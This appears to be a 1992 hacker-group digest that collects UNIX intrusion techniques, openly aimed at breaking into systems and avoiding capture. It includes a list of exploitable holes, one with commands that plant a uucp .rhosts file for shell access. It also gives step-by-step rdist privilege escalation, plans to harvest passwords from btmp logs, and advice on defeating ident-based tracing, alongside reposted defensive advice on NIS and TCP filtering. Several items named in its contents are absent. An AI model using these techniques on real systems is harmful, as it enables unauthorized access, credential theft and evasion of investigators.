InfoHax Digest, Number 2 Saturday, February 15th 1992 Today's Topics: intro.hax2 hole.list rdist.hole rfc.authd.draft b-wtmp.prog son.of.IP audit.tools utmp_ed.c rhosts.hole unwho.pl (revision) ---------------------------------------------------------------------- Date: Thu, 13 Feb 92 09:39:40 -0700 Subject: intro.hax2 **************************************************************************** INFOHAX DIGEST 2 **************************************************************************** Well it's taken a while to get this second issue out, people have been a little slow to get things submited, and I've been a bit slow to put it out. my appoligies to everyone... Getting an issue a week out really depends on getting the material, I DON'T want to have to endlessly bug everyone about this, it took alot of reminders to get this issue together. I used to run a HS underground paper, and found that if an issue had come out recently, people were more responsive to submitting material on a regular basis. It's all a matter of momentum, so lets get this ball rolling! Please send stuff in on a regular basis, I don't want to constantly remind people, this projects success depends on YOU! Perhaps one of the problems is a lack of direction, and people being abit overwelmed with all the material. Were going to try something a little different this time, actually several things, in addition to what we're allready doing. Hopefully the kinks will work themselves out. One other note: The existence of this project is best not common knowledge, there are too many that would like to stop us. Let them find out about it when everyone else does, after the fact. First off, lets talk about how the voting went. The current members are: 0 XXXXXXXXXXXXXXXX 0 XXXXXXXXXXXXXXX 0 XXXXXXXXXXXXXXXX X XXXXXXXXXXXXXXX 0 XXXXXXXXXXXXXXXX X XXXXXXXXXXXXXXX 0 XXXXXXXXXXXXXXXX 0 XXXXXXXXXXXXXXX X XXXXXXXXXXXXXXXX 0 XXXXXXXXXXXXXXX X XXXXXXXXXXXXXXXX 0 XXXXXXXXXXXXXXX X XXXXXXXXXXXXXXXX 0 XXXXXXXXXXXXXXX X XXXXXXXXXXXXXXXX X XXXXXXXXXXXXXXX 0 XXXXXXXXXXXXXXXX You may knowtice '0's and 'X's in front of peoples names, yes we're trying peer pressure... an 'X' means that this person has contributed something to one of the infohax's so far, a '0' means they have not. Please note that 5 of these have promiced to contribute something specific in the near future, but have been busy - I can understand that... But do yourself a favor, and submit SOMETHING!, we all need to pull our weight here... Next people who have been voted in but havn't responded. XXXXXXXXXXXXXX - what's up guy? also, XXXXXX and XXXX, you need to sub to the listserv... finally, we have people that need to be voted on: XXXXXXXXX (has 3.5, needs 5.5 more votes) XXXXXXXXX (has 4, needs 5 more votes) XXXXXXXXX (has 4, needs 5 more votes) - anyone know how to contact him? ---------------------------------------------------------------------------- TOC/chapter organisation: I havn't gotten mutch input here, so if something new comes up, we'll just tack it to the end, till the rewrite... 0) Intro 11) Startup files 1) How Not to get Caught 12) User Utils 2) Monitoring (progs/net/accnt) 13) Programming Utils 3) Theory 14) Crypto 4) Getting in the Door 15) Devices 5) Getting Root 16) Passive Snooping 6) Networks (security/spoof/utils) 17) Patch level and version history 7) Accnt Security 18) sysadmin perspective (end of seed) 8) File System Security 19) Biblio 9) set uid progs 20) toolbox (code/scripts) 10) setgid progs This isn't set in stone yet, but I need to hear from you soon, if you don't like this... I suspect chapters 1, 2 and 6 will take the most time. It was pointed out by PHz that monitoring programs are important, in effect this really is part of chapter 1, but it's a large enough subject that it really deserves a chapter of it's own. When we talk about things like COPS, we need to know if their being used (what is a waste of time - will a setuid script be found and tip our hand?), can we use these tools to make our life easier?, what ISN'T being checked for? and things like that. ---------------------------------------------------------------------------- DISCUSSION/FEEDBACK: Results were abit pathetic here... basicly a couple of comments, it's a tossup between going chapter by chapter, or jump arround... So we're going to do both. The main thrust of the Digests will go chapter by chapter, but anyone wanting to work on areas they know, or using other chapters as a springboard are welcome to... We are also introducing two new methods: 1)Rosco is going to submit a 'not worked out' hole every week, this week it's rdist, we need people to expand on what's given, and put it into the form of step by step instructions, pref w/ an example showing commands given, and result... 2)The hole list: were starting this, Dark Overlord contributed a seed, that we need to expand on, these are holes that need to be expanded on, and explained. They are tiny bites, that could be tackled by anyone with a little time. If you don't know how to exploit any of the holes, please go through the other material, and add to the hole list. (sort/extract). or pick your brain, and add to it that way... the seed paper is another good source for this... I'd like EVERYONE to contribute something to the hole list EVERY issue, while it would be better to send instructions on how to exploit a hole, noting the existence of a hole would be ok... ---------------------------------------------------------------------------- about research: we're still looking for a site to run wais/gopher/www on, must be internet accessable (or a mail interface would be ok), and have 'extra' storrage/cpu cycles available... anything out there? ---------------------------------------------------------------------------- A final note on the why of it all: (insperation, for those that need it) about infohax - infohax is a project born mainly of 3 observations: 1) the mentors comment that most new hackers get busted before they have a chance to become skilled in the art, 2) personal dissatisfaction about the ammount of and quality of information out there on how to get into UNIX systems, and 3) this great paper that fell into my hands that said 'consult your local security guru' too much... the thought dawn'd on some of us that it would be fun to gather some of the best minds in the community together and re-write that paper, but taking it further... ok, well enough, but what's to be the bennefit from this? 1) for some, a better reputation. 2) for all, sharring ideas, learning new tricks, making some new contacts, and getting to know others in the community... 3) for some getting some material to put in their journals. 4) and I think that this is the most important, helping others become skilled in the art so they have a chance to become good. This is important because the quality of new hackers seems to be dimminishing, our ranks seem to be thinning, and lets face it, there's basic self interest; the more good tallent out there, the less chance they'll go after one of us! There is also the philisophic concept of payback, all of us were helped by a number of people when we were learning, this is a chance to help alot of people in the same way, but while keeping them at arms length... (safer...) I better shut up before I start quoting Mount Analog... ------------------------------------------------------------------------------- So what's in this issue anyway?: Hole list EVERYONE PLEASE WORK ON THIS! rdist.hole DITO!, or at least one person... hole of the week.... wtmp.hacker comments on sysadmin.comments, and a tool someone is working on... rfc.authd.draft extracts from what's to replace rfc931, and comments on it son.of.IP extracts from selected posts audit.tool a paper on audit tools, notes on future trends utmp_ed.c a editor for utmp in C, for hackers rhost.hole a network security hole unwho.pl revision of ------------------------------------------------------------------------------- Some submissions are sighned, others not. If you got credit, and didn't want it, don't put you sig in the body of the message. If you didn't get credit and you wanted it, put you sig/handle/whatever in the body of your mail. You can send submissions eithor directly to me, or to: infohax@stormking.com Lets get this thing rolling, try to submit stuff every week, or at least every other... Please vote!, and lets see a hole submission from EVERYONE! Also badly needed are a packet forger (one was promiced, but never show'd), and a ethernet stuffer. A genneral log editor/purger (also promiced, but...) is also needed. If we don't find um, we need to start writing um... thanks all!, tangent ------------------------------------------------------------------------------- ------------------------------ Date: Thu, 13 Feb 92 09:52:08 -0700 Subject: hole.list ============================================================================== Section Name chapter.sec.version 00/00/00 hole.list.01 hole.list.01 02/13/92 ------------------------------------------------------------------------------ DATA: /dev/fb the frame buffer devices on at least suns are world readable/writeable, which is at best annoying (when someone runs something strange on you) and at worst insecure (since someone can take a snapshot of your screen via screenload or whatnot) /dev/*st*, *mt*, etc (tape devices) generally world readable/writeable, bad since others can nuke your tapes, read your backups, etc. chfn, chsh used to create a root account core will system dump a setgid core image? domain name system a sysadmin running the soa for a domain somewhere can create a bugs reverse address mapping table for one of his hosts that causes its IP address to have the domain name of a machine that my host has in its hosts.equiv file. if i'm using the usual version of 'istrusted' (I think that's the routine's name), the address lookup reveals the name of the host to be one that my host trusts, and this other sysadmin can rlogin into my machine or rsh or whatnot at will. fchown test for bad group test ftruncate can be used to change major/minor numbers on devices fingerd hard .plan links - reading unreadable files readable by user(fingerd) setuid, .plan links running as root (fingerd_test.sh) buffer overrun file mod test. test of file does not loose the setuid bit when modified ftp ftpd static passwd struct overwrite 4.2 based bug, userid not reset properly, (after logging in enter comment "user root" and you are, last seen onder SunOS 3.3?). overwrite stack somehow? hosts.equiv default + entry istrusted routine - easy to spoof by bad SOA at remote site with hacked reverse address map. lock 4.1bsd version had the password "hasta la vista" as a builtin trapdoor. (found in ultrix) lost+found, fsck lost+found should be mode 700, else others might see private files. lpd its possible to ovberwrite files with root authority with user level access locally or remotely if you have local root access lpr lpr -r access testing problem lprm trusts utmp passwd fgets use allows long entries which will be mangled into ::0:0::: entries also allows: fred:...:...:...:Fred ....Flintstone::/bin/sh => fred:...:...:...:Fred..... Flintstone::/bin/sh which is a root entry with no password! fix - should skip to eol if it didn't read whole entry, should enforce buffer limits on text in file, don't use atoi (since atoi(/bin/sh) is 0). portmap allows other net entities to make bindings - may not be a "security hole", can lead to denial of service. rcp nobody problem rexd existence rwall,comsat running as root, utmp world writeable, writes to files as well as devices in utmp dev fields. rdist - buffer overflow selection_svc allowed remote access to files sendmail debug option wizard mode TURN command allows mail to be stolen decode mail alias - anyone can send mail to decode, write to any file onwed by daemon, if they can connect to sendmail daemon, can write to any file owned by any user. overflow input buffer cause the sendmail deamon to lock up overwrite files sendmail can be "tricked" into delivering mail into any file but those own my root. -oQ (different Q) fixed in newer versions mqueue must not be mode 777! what uid does |program run with? sendmail -bt -C/usr/spool/mail/user - in old versions, allows you to see all lines of the file. setuid bit handling setuid/setgid bit should be dropped if a file is modified fix: kernel changes setuid scripts there are several problems with setuid scripts. is it worth writing tests for these? some systems might have fixed some of the holes - does anyone know how one fixes these problems in a proactive fashion? sh IFS hole (used with vi, anything else?) su overwrite stack somehow? tcp/ip sequence number prediction makes host spoofing easier source routing make host spoofing easier rip allows one to capture traffic more easily various icmp attacks possible (I suspect a traceroute'd kernel will allow one to easily dump packets onto the ethernet) tftp allows one to grab random files (eg, /etc/passwd). fix - should do a chroot allows puts as well as gets, no chroot fix - don't run as root, use chroot, no puts, only if boot server. utmp check to see if world writeable (if so, the data can't be trusted, although some programs are written as though they trust the data (comsat, rwalld)). uucp check if valid uucp accounts are in the /etc/ftpusers. If the shell is uucico and passwd is valid make sure it is listed in ftpusers. check to see that uucp accounts have shell: if left off, folks can do: cat >x myhost myname ^D uucp x ~uucp/.rhosts rsh myhost -l uucp sh -i HDB nostrangers shell escape HDB changing the owner of set uid/gid files HDB meta escapes on the X command line HDB ; breaks on the X line uudecode if it is setuid, some versions will create setuid files ypbind accepts ypset from anyone (can create own ypserv and data, and ypset to it...) ypserv spoofing send lots of bogus replies to a request for root's passwd entry, while doing something that would generate such a request [I'm pretty sure that this is possible, but haven't tried it.] AIX * password means use root's password? AIX 2.2.1 shadow password file (/etc/security/passwd) world writeable fix - chmod 600... 386i login fix - nuke logintool, hack on login with adb, chmod 2750 ultrix 3.0 login login -P progname allows one to run random programs as root. fix - chmod 2750. xhost: if access access control is disabled any one can connect to a X display it is possible and create (forge) and/or intercept keystrokes. -XXXXXXXXXX ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== Date: Thu, 13 Feb 92 10:25:40 -0700 Subject: rdist.hole ============================================================================== Section Name chapter.sec.version 00/00/00 rdist.hole 06.00.00 02/13/92 ------------------------------------------------------------------------------ DATA: In the RDIST program, a subprogram called SERVER.C has a subroutine called CHOG which issues two faulty calls to SETREUID. To exploit this, you: o Create a very large file with garbage in it. o Make the file SETUID o Create /temp directory o RDIST -C filemane hostname:/temp o Suspend the job that is updating the large file. o Within /temp, there will be two files created by RDIST... One by the server, the other by the client. o REMOVE the file with a filesize greater than zero. o Replace the REMOVEd file with a symbolic link to the target (victim) file (hint: use the LN command). o Unsuspend the process. o RDIST will now change the target file protection to the same as the temp file. The above will work on all Berkeley, SUN, and SCO systems. Life is a bitch, then you grow old. -XXXXXXX ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------ Date: Thu, 13 Feb 92 10:38:18 -0700 Subject: rfc.authd.draft ============================================================================== Section Name chapter.sec.version 00/00/00 rfc.authd.draft 01.13.00 02/13/92 ------------------------------------------------------------------------------ DATA: (This is extracted from the complete draft that should be available on the INFOHAX fileserver) The Identity Server announces the user of a particular TCP connection to the host on the other end of the connection. Given a TCP port number pair, it returns a character string which identifies the owner of that connection on the server's system. Suggested uses include detection of SMTP and NNTP forgeries, additional verification for a remote login, terminal server usernames, and user-to-user file transfer. A particularly important application of the Identity Server in today's Internet is tracing network attackers through mainframes. This is a connection-based application which runs over TCP. The server listens for TCP connections on port 113 (decimal). 5. Caveats The user identifier returned by the Identity Server on a host is only A> as trustworthy as the host itself. (Needless to say, the association between a user identifier and a real person is only as secure as the mechanism by which the host establishes that association.) Attempts to interpret the user identifier outside the context of the host will inevitably lead to security violations. Therefore the client must never use a user identifier without also keeping track of the IP address whose Identity Server generated the identifier. When possible it should also keep track of the domain name corresponding to that IP address. B> In theory, the Identity Server decreases security by announcing usernames which, were it not for SMTP, Finger, and several other protocols, could be kept secret. Administrators of hosts supporting the Identity Server should be aware that as soon as user shmoe connects to host X, anyone on host X can find out shmoe's username simply by guessing the TCP port numbers. 6. Identity Server security This section provides an informal discussion of the security added by the Identity Server. It is important to note at the outset that this server does not in any way remove the need for protocols, such as Kerberos, which encrypt data. The Identity Server can and should be used to supplement, never to replace, existing security mechanisms. The Identity Server completely eliminates username forgeries above the TCP level. On a host supporting this RFC, a forger, system cracker, or other criminal cannot hide behind the anonymity of a TCP C> connection; to forge his username he must forge TCP packets. (It goes without saying that if a system cracker acquires privileges and disables the proper functioning of the Identity Server, then the usernames reported by the server will not be accurate. In that situation ``username forgery'' does not even make sense, for the system cracker has complete control over all usernames. As stated in section 5, the user identifier returned by the Identity Server on a host is only as trustworthy as the host itself.) Unfortunately, forging TCP packets is rather easy. Bellovin has outlined several attacks which compromise IP and TCP [1]. The Identity Server happens to make some of the attacks much more D> difficult. For instance, a fake source route will be ignored when the target makes a second connection to the Identity Server, so a username cannot be faked with source route attacks. Some attacks are E> also ineffective against after-the-fact tracing: for example, posing as another host on the same Ethernet while that host is down can always be detected (though it is very difficult to trace this attack back to its source). Furthermore, the Identity Server uses IP addresses, so it avoids the Domain Name Server's lack of security. Unlike passwords sent in cleartext (via, e.g., TELNET), the Identity Server cannot even be spoofed by an attacker who can read every packet sent across the network. F> However, ICMP Redirects and other comprehensive routing attacks can be neither detected nor stopped from anywhere except the target router. To completely stop forgeries requires not only the Identity Server but a secure TCP. Kerberos v5 [6] solves these problems thoroughly and efficiently, although it does not yet fully support wide-area networks. G> It is perhaps worthwhile to draw an analogy between the Identity Server and security in the telephone system. Without the Identity Server, a phone trace (or Caller-ID, where it is permitted by local regulations) provides the phone number of the caller. When the phone number is the number of a large company and the caller was actually at an extension inside the company, this tracing mechanism is nearly useless. The Identity Server provides the extension. Admittedly, the extension is meaningless when the phone number refers to someone's house (a microcomputer), or to a company that lets its employees pick their extensions (an insecure mainframe). But it provides a huge benefit for tracing within honest companies. If Foo Corp. tells Bar Inc. that it's been receiving prank calls (forged mail, system cracking) from one of Bar's phone numbers, Bar can't do anything. But if Bar has installed the Identity Server, Foo can find out the phone extension as well, and Bar can track down the renegade employee. Someone who can invade the security of the phone system itself (i.e., someone who breaks TCP) will find the Identity Server at most a minor nuisance. To stop him you'd have to start encrypting your phone lines (Kerberos). But for most people the Identity Server removes the anonymity provided by large organizations (mainframes) all of whose calls are tagged with the same phone number (IP address). It thus forms a quite effective deterrent. A common argument against RFC 931 was that its usernames are meaningless for microcomputers. However, consider the phone analogy. It doesn't matter that Dr. Shmoe can forge extensions within his own house to his heart's delight---because anyone who traces his prank calls will find out that they came from Shmoe's house. Nobody will care about the faked extension when Dr. Shmoe is arrested. In other words, the Identity Server neither helps nor hurts the security of such connections. Note that if ``Shmoe's house'' is instead a public meeting place with no physical security and with public phones which let users specify any extensions they want, it will not be possible to trace calls to the actual people who happened to be using those phones. In other words, if a microcomputer or unprotected workstation with no physical security is available for the public to use, it will not be possible to trace security violations emanating from that computer. Once again this is a problem independent of the Identity Server. The Identity Server is beneficial in that it discriminates between the users of a multi-user computer. 7. Applications The most important use of the Identity Server in today's Internet is to track system crackers across the network. A combination of IP lookups and Ethernet tracing usually suffices to identify the physical machine involved in an ongoing attack. However, if that host has many users and its manager is not available, there is no way to identify which user is responsible for the attacks. It has thus H> become popular with system crackers to log into a series of mainframes, each providing an extra layer of anonymity. The Identity Server removes this anonymity by announcing the username at each step. As more and more hosts on the Internet support the Identity Server, it will become more and more difficult for an attacker to avoid leaving a trail of usernames. I> Another natural use of the Identity Server is to detect SMTP and NNTP forgeries. Patches are available for sendmail [3] and nntpd [5] to record the sending username. FTP can record the name of the user performing an "anonymous ftp" [4], rather than depending on the user to give his name. Many other user-level protocols, such as BSD talk [2], can also benefit from user identifiers. Note that all these applications use the Identity Server to supplement, never to replace, other security mechanisms. The user identifier provided by the Identity Server can allow more secure authentication and finer access control for remote login than some current access control mechanisms, which are based solely on the incoming IP address and host name. If the identifier is also recorded in system logs, then network attacks can be traced back to individual users rather than entire mainframes, as discussed above. It is important to note that this in no way removes the need for passwords or other forms of cryptographic authentication. The Identity Server supplements, never replaces, other security mechanisms. J> Many sites have terminal servers which allow Internet connections. A user can connect to the server, then connect to anywhere on the Internet (or, in some cases, anywhere on the local net). With the Identity Server, terminal servers can record usernames, then report those usernames on outgoing connections. For instance, if joe@host.com connects to terminalserver.edu and then to site.gov, terminalserver.edu can respond to an Identity Server request with USERID : OTHER : joe@192.6.6.6(host.com). The login might show up in site.gov's logs as joe@192.6.6.6(host.com)@terminalserver.edu. This would prevent abuse of the terminal servers for anonymous system cracking attempts. Note once again that the Identity Server only supplements other security mechanisms (though in this case there typically aren't any other security mechanisms to begin with). The Identity Server can also be used for user-to-user file transfer, where one user SENDs a file and another RECEIVEs it without passwords. The file is queued on the sending host, not the receiving host. SEND can be implemented as a mail message or other notification of a TCP port where the file can be picked up. RECEIVE is then a connection to that TCP port; the receiver uses the Identity Server to make sure the sender is who he should be, and vice versa. Of course, the Identity Server is only a minimal security mechanism necessary to make a SEND-RECEIVE protocol practical. It would be better if all communications were completely encrypted. 8. References [1] Bellovin, S. M., "Security Problems in the TCP/IP Protocol Suite", Computer Communications Review, April 1989. [2] Bernstein, D. J., "Unofficial patches to talk for RFC 931 support", February 1991. Available for anonymous ftp from wuarchive.wustl.edu in usenet/alt.sources/articles/2687.Z. [3] Bernstein, D. J., "Unofficial patches to sendmail for RFC 931 support", February 1991. Available for anonymous ftp from wuarchive.wustl.edu in usenet/alt.sources/articles/2728.Z. [4] Myers, C., "wuarchive ftpd", September 1991. Available for anonymous ftp from wuarchive.wustl.edu in packages/ftpd.wuarchive.shar. [5] Sayer, N., "Unofficial RFC931 patches to nntp", February 1991. Available for anonymous ftp from wuarchive.wustl.edu in usenet/alt.sources/articles/2746.Z. [6] Ts'o, T., et al., Kerberos v5 beta, Massachusetts Institute of Technology, June 1991. ------------------------------------------------------------------------------ Comments: A> If you have root, you can change usernames, or su to anybody B> not mutch of a concern C> Packet forgers are becoming more important, as are ethernet stuffers, we need to work on this area... D> source route attacks - need info... E> posing as down host - need info... F> ICMP redirects and other comprahensive routing attacks - need info... G> a usefull way arround it... H> So this will be like SxS switches, where we'll need to go through a system that doesn't support the tracing to evade it... I> SMTP and NNTP forgeries - please write something on this, someone... Comments: J> Of cource we NEVER use someone elses account, god forbid we ran a password cracker... Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------ Date: Thu, 13 Feb 92 10:37:14 -0700 Subject: b-wtmp.prog ============================================================================== Section Name chapter.sec.version 00/00/00 b-wtmp.prog 01.12.00 02/13/92 ------------------------------------------------------------------------------ DATA: Feedback on sec 01.01.00, sysadmin.comments and a program being worked on as a result: The line:"Some of them will show passwords typed in where usernames should be, which is why btmp is supposed to be readable only by root" Ok, so if you can get root, and read this file, you should be able to get a few passwords out of it. To help this task a program that would automate some of this would be usefull. This tool would corellate usernames that logged in arround that time with entries where they made a typo or something. There are basicly 3 types of entries that are likely to be found: 1) the user types in a legit password, but eithor puts it in the login field, makes a typo, or is hit with linenoise. in any of these cases you should have most or all of the password. 2) the user types in the wrong password (check .forward files, lastcomm, etc to try to figure out where else they have an account.) 3) hackers... won't get anything from these entries... Anyway, a program should be able to match those entries that are from users on the system, and identify what category of problem exists... ie: username is 1 char off: password is probably good username and password clean: maybe typo, or password on dif system username doesn't exist: hacker garbage in password: linenoise, may be worth guessing/brute force ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------ Date: Thu, 13 Feb 92 10:39:08 -0700 Subject: son.of.IP ============================================================================== Section Name chapter.sec.version 00/00/00 son.of.IP 01.14.00 02/13/92 ------------------------------------------------------------------------------ DATA: >I have used the hosts_access package with some success. What this >package does is disable connections from a host or set of hosts. So >you set up all of the machines on your ethernet with the host_access >package, and set up the files so that any attempt to use a tcp service >from your gateway is canceled. The most recent version now also supports access control and monitoring of UDP and RPC requests. Available from ftp.win.tue.nl (131.155.70.100), file /pub/security/log_tcp.shar.Z. ----------------------- TdR> In fact, if your site uses the name daemon, and the intruder can guess TdR> what just one line in your .rhosts file says, he can get into your TdR> account very easily. Yeah, yeah, CERT & gang have been told. Sun actually got this one right, though they did it in the wrong place ;-) Sun's resolver library won't return a name on a gethostbyaddr() unless an A record lookup on that name returns that address. This is great for r-access, but not so hot for stuff like traceroute, since *some* people (hi NSF) don't have proper A records matching their PTRs. There's also she host_access package (look for log_tcp with archie) that has a define, -DPARANOID, which does the same thing (disallows connections from sites that don't match properly) and can be added on to any system. It can also block telnet/rlogin/whatever from sites you don't want to hear from (open terminal servers at someone else's site, perhaps ;-) ------------------ TCP/IP Connection Monitoring It is occasionally needed to perform ethernet monitoring to check for unauthorized connections (connections from random machines around the internet to the telnet (or other) ports). You might not want to restrict all access, but one the other hand you want to keep an eye on what is going on. The only problem is that programs like tcpdump or etherfind monitor the ethernet on a packet-by-packet scale instead of on a connection bases (one line per connection) which makes it difficult to get an idea of what is happening (since you can easily lose or forget about packets that get overwhelmed by voluminous connections. So in order to solve this problem I wrote conmon. conmon takes the output of tcpdump and prints a given connection only the first time it is seen so that you can easily see all connections. Every screenful of connections it clears the current list of connections so that active connections will be seen on the new screen. Both tcpdump and conmon are available for anonymous ftp from ftp.ctr.columbia.edu [128.59.64.40] ------------------- New network security mailing list: rfc931-users RFC 931, the Authentication Server, stops the most common type of mail and news forgery, increases the security of other TCP connections, and helps security organizations trace Internet attackers. It is supported by at least three (completely interoperable) UNIX server implementations, used by several clients including the newly released wuarchive ftpd, and installed at sites throughout the United States and Europe, ranging from the Air Force to companies as large as 3M. It is currently the only freely available wide-area TCP security protocol, yet it can run in tandem with other security protocols such as Kerberos. I've created a new mailing list, rfc931-users, for people who want to use the Authentication Server to solve problems. The mailing list is rfc931-users@kramden.acf.nyu.edu; to join, send mail to brnstnd@nyu.edu. ------------------ > Is it possible to fake the source of a packet traveling on the net? > The obvious secuirty breach I'am thinking of is this: Machine A is remotely > connected to Machine B. Is it possible to send information; ie commands, > to Machine B from another machine and make Machine B **think** it came > from Machine A? Kerebose can provide security when you first connect, but > after the connection is made...... Yes, of course. Depending on the Protocol. For TCP/IP you can read a good summary on Security Problems in S.M.Bellovin, Security Problems in the TCP/IP Protocol Suite, Computer Communication Review, Vol 19, No 2, pp 32-48, April 1989. -------------------- >Is anyone able to name me an ftp-server which contains this document? You can find it at: research.att.com under: dist/Secure_Internet_Gateway.ps Btw.: This article is critizised in: S. Kent, "Comments on 'Security Problems in the TCP/IP Protocol Suite", ACM Computer Communication Review, Vol 19 No. 3, July 1989, pp. 10-19. -------------------- Re: NIS and password security There have been a number of queries and some not completely accurate information posted on this question. I'll try to summarise the problem and suggested workarounds. None of the workarounds is particularly satisfactory, The problem is this: ypserv is totally indiscriminate about which machines it will respond to queries from. Normal NIS maps can be read by anyone on the Internet who can route packets to your NIS server and back. "secure" (HA!) NIS maps like passwd.adjunct can only be read if the querier is using a privileged port (< 1024). This means that anyone can read your "secure" maps if they can crack root on some machine on the Internet and can route packets to your machine. The bug means that many machines on the Internet which use NIS are vulnerable to having their password files stolen and run through "Crack" or similar. Arguments about whether distributing Crack and fast U*ix encryption algorithms was a good idea aside, every wannabe cracker now has a copy of a reasonably state-of-the-art password guesser. As I said in my earlier post on this subject, the combination "I'm NIS and I serve everyone" and easily available password guessers has already led to breakins at some sites. This bug was reported to Sun in April 1990, and CERT has also been aware of it for about the same length of time. I am told that the bug will be fixed in NIS+ or NIS3.0, or whatever it's called this week, which I understand will be available in Solaris 2.0. What to do about it: 1) The Sun Party Line. "Don't run ypserv on your gateway and disable IP forwarding on the gateway". This is commonly known as a "firewall" (provided the machine is also in other respects reasonably secure) and is probably already done by many commercial users of the Internet. It is not the greatest in convenience, and most University sysadmins would encounter, lets say, a little user resistance. Managing the gateway is also a pain. Switching off `routed' alone, as has been suggested here, is usually insufficient. However, provided the security of the firewall is not breached, you are safe from this attack, and many others. Instructions on how to disable IP forwarding in the kernel are in Sun's Network Admin manual. 2) The Lamb Party Line. If you communicate to the outside world through a smart router, filter out packets coming from external connections addressed to destination ports sunrpc/udp&tcp (port 111) and ports 600-1023, tcp&udp. This will prevent access to *all* sunrpc services from outside the router. It will also block access to the Kerberos protocols (probably also not a bad idea given the info. in Steve Bellovin's paper about Kerberos security problems), and will probably block the BSD `r' (rcp,rlogin, etc) commands, but don't count on it doing so. If you and your router are smart enough, you may be able to make the `r' commands work. Eg, for rlogin, allow the packets through iff their source is 513/tcp (this opens up a hole for a sufficiently clever cracker, though). Blocking port 111 alone is insufficient but will block the most obvious attacks (including those I've been told have already actually occurred). The above two solutions are the only real answers to the problem. There are some workarounds which make life harder for the potential cracker. 1) Choose a hard-to-guess NIS domain name. The cracker must be able to guess your NIS domain name in order to talk to ypserv. This is purest security- through-obscurity. The domain name is normally only handled by automatic systems, and can be up to 64 characters long. Making the first part a reasonable handle may help system administration. Something like my-old-domainname-Ldp.T2d9wCY is probably reasonable. This precaution is vulnerable to "social engineering" attacks, ie. the cracker trying to fool a user at your site to reveal the domain name, since the NIS domain name can be discovered by any user on your machines. 2) Use passwd+ or npasswd to vet passwords. If you do this, you need to make all your users put their current password through the new password program. Using a premptive check on passwords for idiotic usage is a good idea anyway, independent of whether you use NIS or not. If you have Suns and you'd rather spend money than install free software, Sun Shield (TM) also provides this capability, along with other more or less useful things. Convex provides some similar capabilities in their passwd(1) program. Some other manufacturers may also have similar capabilities. The more sites that do this, the more frustrating it will become for crackers trying to guess passwords. Note that this problem is common to all versions of NIS or Yellow Pages, that I know of not just on Suns. It will probably go away in NIS+ aka NIS3.0, but it seems that this will be a little while coming, and for non-Sun machines even further off. Using NIS in combination with Sun's so-called `C2' security will *not* help. For those not aware of current technology in password guessing programs, Alan Muffet (?sp) "Crack" program can test > 500 guesses/sec against a U*ix encrypted password on any modern RISC workstation. This means that an encrypted password can be checked against the entire /usr/dict/words in less than a minute. "Crack" has been posted to the network, and you can assume that most crackers and wannabe's have a copy. PS: Sorry, I will not respond to requests for more details about how to exploit this hole. Sun and CERT have full details. If you have a Sun s/w maintenance contract, the escalation SO# was 484666 and the Sun BugId was 1036869. Please contact Sun if you feel you need more details. ---------------------- You might look at in.src a program provided by CIAC to do just what you ask. You can get it by anon ftp from irbis.llnl.gov:/ftp/pub/util/insrc.tar.Z --------------------- in.gate ftp site Seems as if the cat is out of the bag (before I was really ready :-), in.gate is available by anonymous ftp from: Site: cse.ogi.edu Directory: pub/in.gate File:in.gate-1.01.shar --John Pochmara pochmara@cse.ogi.edu P.S. the only different between 1.01 and 1.0 is some documentation changes. ----------------------- We also have a modified version of the inetd available as a source patch to the standard BSD 4.3-Reno inetd source. Unfortunately this cannot support rpc services, I would however be happy to update it when I can obtain an inetd with rpc. The server reads a configuration file containing lines of the form: ajax.rsre.mod.uk finger/tcp, talk/udp rsre.mod.uk smtp/tcp Where the first component contains a host name (in DNS format) or a partial domain specification (such as rsre.mod.uk). This has the advantage of allowing services to be permitted on domain/administrative boundaries rather than on physical ip addresses. Development is still under way, but the initial implementation has proved useful and is used to filter most of our incoming services. The daemon also logs all incoming service requests indicating the source IP address of denied service requests. I can send the source patch to any interested parties. Dave Ferbrache Defence Research Agency St Andrews Road Great Malvern +44 684 895986 --------------------- A version of the tcp-log program which offers the possibility of starting different services, depending on who calls, or of giving an appropriate error string while rejecting connections is available for ftp from ftp.bnr.co.uk as "Exports/tcp-switch.sh" Otherwise the functionality seems simmilar to in.gated described elsewhere on this list. I hope you find it useful. ---------------------- I showed some of this discussion to my friend Roland McGrath, of FSF who said, "I did one of those." So I asked him for a copy. He sent me a shar file prefaced by a few comments which I extract from: Here is a shar of the source to my inetd. It is a modified version of the 4.4 inetd. I got the original Berkeley sources from ftp.uu.net. Systems which have a real setsid call should not use setsid.c, which I wrote to emulate setsid on 4.3BSD. I am actively maintaining this program, and am interested in bug reports. However, I'm maintaining only for the purpose of the FSF's use of it, and am not particularly interested in new features that will not be of use to us (I'll listen to suggestions, though). There is no documentation. You can get the BSD inetd manpage from uunet. My changes to their version are: * Ported to 4.3BSD on hp300s, HPUX 7.0 (I think) on hp834s, and sun4 running sunos4.1. * Added sunrpc support. Easily commented out for systems without sunrpc. mtXinu's MORE/bsd 4.3+NFS, and SunOS4.1 use different syntaxes for sunrpc services in /etc/inetd.conf. My version understands both syntaxes. * Added security support; new configuration file /etc/inetd.sec. Based on the feature of HPUX's inetd (you can look at their documentation if you have an HP machine handy, or log in to one of ours to look), but not quite the same. Basically, /etc/inetd.sec contains lines like: telnet deny undesireable.machine.com ftp deny *.undesireable.domain.edu login allow blessed.machine.org shell allow 128.52.46 telnet rejections /bin/echo echo We do not like you. This says: Allow telnet connections from anywhere except undesireable.machine.com; allow ftp connections from anywhere except anything matching *.undesireable.domain.edu (that's a shell glob pattern); allow rlogin only from blessed.machine.org; allow rsh only from things on subnet 128.52.46; when undesireable.machine.com tries to make a telnet connection, echo is run in place of telnetd. There can be as many allow/deny lines as you like. Each line can have as many names or nets as you like, separated by whitespace and/or commas. The restrictions build, so "allow *.mit.edu" followed by "deny 18" will allow things in mit.edu unless they're on net 18. If the first thing is a deny, then calling hosts that don't match any allow or deny lines are allowed; if the first thing is an allow, then unmatched hosts are denied. The rejections lines give daemon program and args just like lines in /etc/inetd.conf do. I didn't include a makefile because the one I use is GNU make-specific and refers to pathnames on my machine which don't make sense elsewhere. ---------------end of Roland's comments -------- This was followed by 2000 lines of shar. The shar file is available via anonymous ftp from ccb.ucsf.edu (128.218.1.13). The file's name is /pub/inetd.fsf.Z. 